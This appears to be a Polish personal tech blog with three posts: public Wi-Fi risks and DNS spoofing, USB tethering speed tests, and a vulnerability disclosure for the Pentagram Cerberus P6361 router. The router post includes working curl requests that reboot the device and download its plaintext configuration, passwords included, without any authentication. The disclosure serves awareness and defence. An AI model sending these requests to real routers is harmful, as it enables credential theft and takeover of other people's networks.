Publiczne Wi-Fi a bezpieczeństwo

Wczoraj ukazał się artykuł o tym, czy korzystanie z publicznego Wi-Fi jest bezpieczne. Uważam, że prezentowane tam podejście jest dość optymistyczne. Nie uważam obcych sieci za tak bezpiecznie, jak pisze autor. Wszystko zależy od tego, czego się obawiamy. I naszego poziomu paranoi.

Na pewno podłączanie do sieci Wi-Fi, jeśli zakładamy złe zamiary jej właściciela lub innych użytkowników jest bezpieczniejsze, niż podłączanie kablem ethernetowym. Ot, nikt nie poda wysokiego napięcia na kablu i nie spali nam urządzenia. No ale żarty na bok.

Publiczne Wi-Fi – zagrożenia

Podłączając się do cudzej lub publicznej sieci ujawniamy informacje o swoim urządzeniu i systemie. Np. syngatury urządzenia typu adres MAC czy hostname. W pewnych przypadkach dane te mogą zostać wykorzystane do… powiedzmy przypisania nam pewnych działań. Ale to bardziej naruszenie prywatności niż realny atak. Pójdźmy dalej.

Podłączając się do sieci eksponujemy nasze urządzenie na bezpośrednie połączenia. OK, jeśli ktoś ma firewall lub nie udostępnia żadnych usług innym komputerom w sieci lokalnej, to problemu nie ma. Ale już udostępnienie zasobu chronionego prostym hasłem z laptopa w sieci domowej, gdzie bezpośredni dostęp miały tylko nasze urządzenia może okazać się zgubne. W naszej sieci przed atakami z internetu mógł chronić router (NAT).

Nie taki HTTPS wspaniały

Wspomniany w artykule HSTS ma dwie wady. Po pierwsze, adopcja. Zwyczajnie nie wszystkie strony z niego korzystają. Żeby daleko nie szukać, tamten artykuł zamieszczony jest na stronie bez HSTS. I pewnie ktoś przytomnie zauważy, że przecież to tylko blog, a nie bank. To polecam samodzielne sprawdzenie, czy, ew. które polskie banki korzystają z HSTS na stronach. O HSTS z preload litościwie nie wspominam.

Po drugie, jest to mechanizm TOFU. Tzn. nie zapewnia bezpieczeństwa przy pierwszym połączeniu. Owszem, przeglądarka w kolejnych połączeniach do strony, przez zwykle długi okres ważności, będzie już korzystać z HTTPS. Ale jeśli jest to nowa strona lub otwierana w nowej przeglądarce to HSTS nic nie daje.

Dodatkowo autor wspomina o powszechnych przekierowaniach HTTP -> HTTPS. Tylko niestety taki mechanizm nie zapewnia bezpieczeństwa. OK, może je podnosić w szczególnym przypadku, jeśli jest stosowany łącznie z HSTS. Bez tego raczej zapewnia złudzenie bezpieczeństwa. Bowiem jeśli pierwszy request jest wykonywany po HTTP, to nadal DNS spoofing jest groźny. Atakujący może dowolnie rozwiązać nazwę domeny do której próbujemy się połączyć. Np. na swój serwer. I tam wykonać przekierowanie HTTP. Redirect (301) może być na cokolwiek. Także na domenę z poprawnym HTTPS. Tyle, że niekoniecznie tę, na którą chcieliśmy się połączyć. Tylko np. na domenę homograficzną, albo domenę o zbliżonej nazwie. Ot, choćby wchodząc na http://mojbank.pl możemy skończyć na https://mojbark.pl, o wyglądzie identycznym jak https://mojbank.pl. I z poprawnym certyfikatem HTTPS i „kłódeczką”.

No i ostatecznie nawet połączenie HTTPS z poprawnym hostem nie gwarantuje jeszcze, że jest w pełni bezpiecznie. W niektórych przypadkach, na które użytkownik nie ma wpływu, nadal możliwe mogą ataki na HTTPS. OK, w przeciwieństwie do DNS spoofingu są trudniejsze do wykonania.

Jak korzystać bezpieczniej z publicznych Wi-Fi?

Czy to znaczy, że zupełnie nie zgadzam się z autorem? Niekoniecznie. Zgadzam się, że jest o wiele bezpieczniej, niż kiedyś. Generalnie jeśli ktoś naprawdę musi skorzystać z Wi-Fi i miałbym dać tylko jedną radę to byłoby to: włącz DoH w przeglądarce i wpisuj adresy w pasku adresu przeglądarki „z palca”, korzystając z podpowiedzi. No wiem, to w zasadzie dwie rady. Ale przyjmijmy, że jedna, tylko złożona.

Czemu tak? DoH zapewni nam odporność na DNS spoofing, a dodatkowo da bonus w postaci podwyższenia prywatności. Potencjalny podsłuchujący nie dostanie adresów odwiedzanych stron „na tacy” w postaci nieszyfrowanych zapytań DNS. W części przypadków w ogóle nie będzie w stanie ustalić z jakim serwisem się łączymy.

Wpisywanie domen w pasku adresu, z wykorzystaniem podpowiedzi uchroni przed kliknięciem w podobną domenę i zwiększy szansę na wykorzystanie protokołu HTTPS już od pierwszego requestu.

Udostępnianie internetu z telefonu

Niedawno usłyszałem pytanie o setup dla abcc, które zawierało ciekawy element – jedno z dostępnych połączeń było przez USB[1]. Zaintrygowało mnie to, bo tak się złożyło, że zupełnie nie znałem tematu. Zawsze udostępniałem internet z Androida wykorzystując WiFi i tworząc access point. Nie byłem pewien jak takie połączenie w ogóle jest widoczne pod Linuksem.

Poczytałem, sprawdziłem i sprawa jest prosta. Aby udostępnić internet z telefonu z Androidem należy najpierw podłączyć kabel USB. Dopiero wtedy aktywna staje się opcja USB tethering. Po jej aktywacji na telefonie, w systemie powinno pojawić się urządzenie usb0. Traktujemy jak zwykłą przewodową kartę sieciową.

Takie proste, a nigdy nie korzystałem. Czy warto udostępniać połączenie z Androida po USB, zamiast po WiFi? Jedna zaleta jest oczywista – podczas udostępniania połączenia telefon zużywa więcej prądu. Podłączenie kablem do komputera zapewnia od razu ładowanie. Z kolei oczywista wada to mniejsza swoboda ruchów – kabel jest zawsze jakimś ograniczeniem.

Pora sprawdzić wydajność. Szybki zgrubny test, po prostu fast.com, w dodatku pojedynczy pomiar dla każdej konfiguracji.

Operator nr 1
42 Mbps download 10 Mbps upload, latency 32 ms unloaded, 462 ms loaded na WiFi 2,4 GHz
42 Mbps download 15 Mbps upload latency 30 ms unloaded, 420 ms loaded na USB

Operator nr 2 (IPv6)
78 Mbps download 11 Mbps upload, latency 30 ms unloaded 321 ms loaded na WiFi 5 GHz
71 Mbps download 14 Mbps upload, latency 28 ms unloaded 446 ms loaded na USB

Wielkich różnic jak widać nie ma. Wariancie optymistycznym, czyli nieobciążonym łączu na kablu zyskamy nieco na opóźnieniach sieciowych. Lepsze powinien też być upload. Czyli domyślnie warto podłączyć kabel USB. Nie są to jednak wielkie różnice, więc jeśli nie gramy w gry online albo nie zależy nam na prędkości uploadu, wygląda, że może decydować wygoda.

UPDATE I jeszcze dla porównania wyniki z mojej kablówki, nominalnie 60/10:
62 Mbps download 7 Mbps upload, latency 6 ms unloaded 50 ms loaded na WiFi 5 GHz

Oczywiście inny serwer, pomiar dzień później itd. Ale i tak widać, jak bardzo LTE dogoniło, albo wręcz przegoniło kablówkę opartą o miedź. Światłowód zapowiadany był dwa lata temu, ale nadal nic nie wskazuje, by miał się pojawić.

[1] Sprawa w toku, może zasłuży na osobny wpis jak skończę.

Pentagram Cerberus P6361 – rzut okiem na bezpieczeństwo

tl;dr Router starawy, bezpieczeństwo żadne, a tytułowy Pentagram Cerberus P6361 to Tenda.

Razem z laptopem rodzice kupili parę lat temu router, właśnie tytułowy Pentagram Cerberus P6361. Byłem lekko zły, że nie konsultowali ze mną zakupu, ale kupili go za grosze, nie wiem czy nie w Biedronce. Obejrzałem go, stwierdziłem, że co prawda OpenWrt się nie da zainstalować, ale sensowne minimum jest. Znaczy miał 802.11n, możliwość włączenia WPA2 i wyłączenia WPS. Więc został. Pełnił tak naprawdę rolę AP, za routerem na Raspberry Pi. Pobór prądu znikomy, sprzęt działał zaskakująco stabilnie. Z racji tego, że był w sieci lokalnej, logowanie tylko po HTTP nie miało większego znaczenia.

Często się słyszy o słabych zabezpieczeniach w routerach, zwłaszcza producentów specjalizujących się w tańszym sprzęcie. Przy okazji stwierdziłem, że poszukam błędów w ramach zabawy. Uruchomiłem Burp, zalogowałem się do routera i postanowiłem zrobić najprostszą rzecz, czyli zresetować router. Request trochę mnie zaskoczył, bo po skopiowaniu jako komenda curl wyglądał następująco:

curl -i -s -k -X $'GET' \
-H $'Host: 192.168.1.1:8081' -H $'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0' -H $'Accept: */*' -H $'Accept-Language: en-US,en;q=0.5' -H $'Accept-Encoding: gzip, deflate' -H $'Referer: http://192.168.1.1:8081/system_reboot.asp' -H $'If-Modified-Since: 0' -H $'Cookie: language=en; admin:language=en' -H $'Connection: close' \
-b $'language=en; admin:language=en' \
$'http://192.168.1.1:8081/goform/SysToolReboot'

Zgadza się, nie ma tam żadnych danych związanych z sesją. Uruchomienie polecenia w konsoli, poza przeglądarką i następujący po tym reboot potwierdzają. Po prostu wysyłamy request a router bez żadnego uwierzytelniania wykonuje polecenie.

No dobrze, to tylko reboot, czy można zrobić coś ciekawszego? Stwierdziłem, że najważniejsze co można z routera uzyskać, to hasło administratora i hasło do WiFi. Cerberus P6361 posiada możliwość backupu konfiguracji. Efektem jej pobrania jest plik tekstowy, zawierający otwartym tekstem pełną konfigurację, włącznie z wszystkimi hasłami. Zaskoczenia nie było – również ją można pobrać bez uwierzytelniania:

curl -i -s -k -X $'GET'     -H $'Host: 192.168.1.1:8081' -H $'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0' -H $'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8' -H $'Accept-Language: en-US,en;q=0.5' -H $'Accept-Encoding: gzip, deflate' -H $'Referer: http://192.168.1.1:8081/system_backup.asp' -H $'Cookie: language=en; admin:language=en' -H $'Connection: close' -H $'Upgrade-Insecure-Requests: 1'     -b $'language=en; admin:language=en'     $'http://192.168.1.1:8081/cgi-bin/DownloadCfg/RouterCfm.cfg' 

Game over. Przyznaję, że po tym, co zobaczyłem, odeszła mnie ochota na dalszą zabawę, przynajmniej z tą wersją firmware:

Current system version: V5.07.18_pl_PEN; Publishing date: Nov 7 2011
Software version V5.07.18_pl_PEN
Hardware version V1.0

Pamiętałem, że dawno temu pobrałem nowszą wersję firmware’u (V5.07.21), ale nie zaktualizowałem go z braku czasu. Postanowiłem sprawdzić na stronie producenta, czy są nowsze wersje oprogramowania. Chciałem zaktualizować i sprawdzić przed zgłoszeniem czy bug nadal występuje i… niespodzianka. Strona producenta zniknęła. Liczyłem, że znajdę jakieś linki do firmware w necie, poszperałem więc nieco i okazało się, że Pentagram to tak naprawdę Tenda (co łatwo można potwierdzić na podstawie MAC adresu), czyli producent, którego routery zawierają mnóstwo podatności tego typu[1]. W znacznie nowszym firmware, którego, nawiasem nie widzę do pobrania ze strony producenta – jest 5.07.46 z 2013. Przy czym opieram się na tym, że wersja i rozmiar fimware są podobne. Pewności, że Pentagram Cerberus P6361 to Tenda W316R nie mam, routera zepsuć nie chcę, więc chwilowo nie wymieniam. Pobawię się intensywniej jak znajdę zastępcę.

Część smutna. Domyślnie router udostępnia interfejs do zarządzania na wszystkich interfejsach (adres 0.0.0.0) i wygląda, że nie ma dostępnego załatanego firmware’u. Rzut oka na portale z używanym sprzętem pokazuje, że sporo ludzi sprzedaje te routery. Ceny od 20 zł w górę. Jak się ktoś bardzo postara, to i nowy w sklepie znajdzie. Polecam kupić coś innego. Jeśli ktoś musi używać ww. routera, polecam pokombinować z niewystawianiem panelu zarządzania czy to przez zmianę adresu na którym słucha, czy trickiem z przekierowaniem portu opisanym przy podobnej okazji[2]. Wygląda na bardzo podobny błąd.

Najlepiej tego typu podatny router wymienić, co przy najbliższej okazji uczynię, mimo że jest używany sporadycznie. Za sprawą CSRF atak można wykonać od strony sieci LAN, więc brak wystawionego na świat interfejsu nie do końca zabezpiecza przed wykonaniem zdalnego ataku.

Shodan zwrócił zaskakująco mało wyników, ZoomEye nieco więcej, ale przypuszczam, że te sprzęty po prostu mają się już ku schyłkowi (patrz [2]). Ew. złe zapytania zrobiłem – niestety w tej chwili nie mam już dostępu do routera. Zdecydowałem się opisać, bo zabawa i przednia, i prosta. Sam exploit opublikowany był jeszcze w zeszłym roku, choć sprzęt starawy, a o dziurach w routerze zawsze warto przypomnieć – może ktoś załata/wymieni.

[1] Zmiana serwerów DNS jest kolejną ważną rzeczą. W sumie ważniejszą, niż hasło do WiFi, zwł. jeśli mowa o zdalnym sprzęcie.
[2] Aktualnie zapytanie zwraca poniżej 7 tys. wyników. W masową aktualizację nie wierzę, czyżby sprzęty nie przeżywały 6 lat? W sumie w tym przypadku dobrze…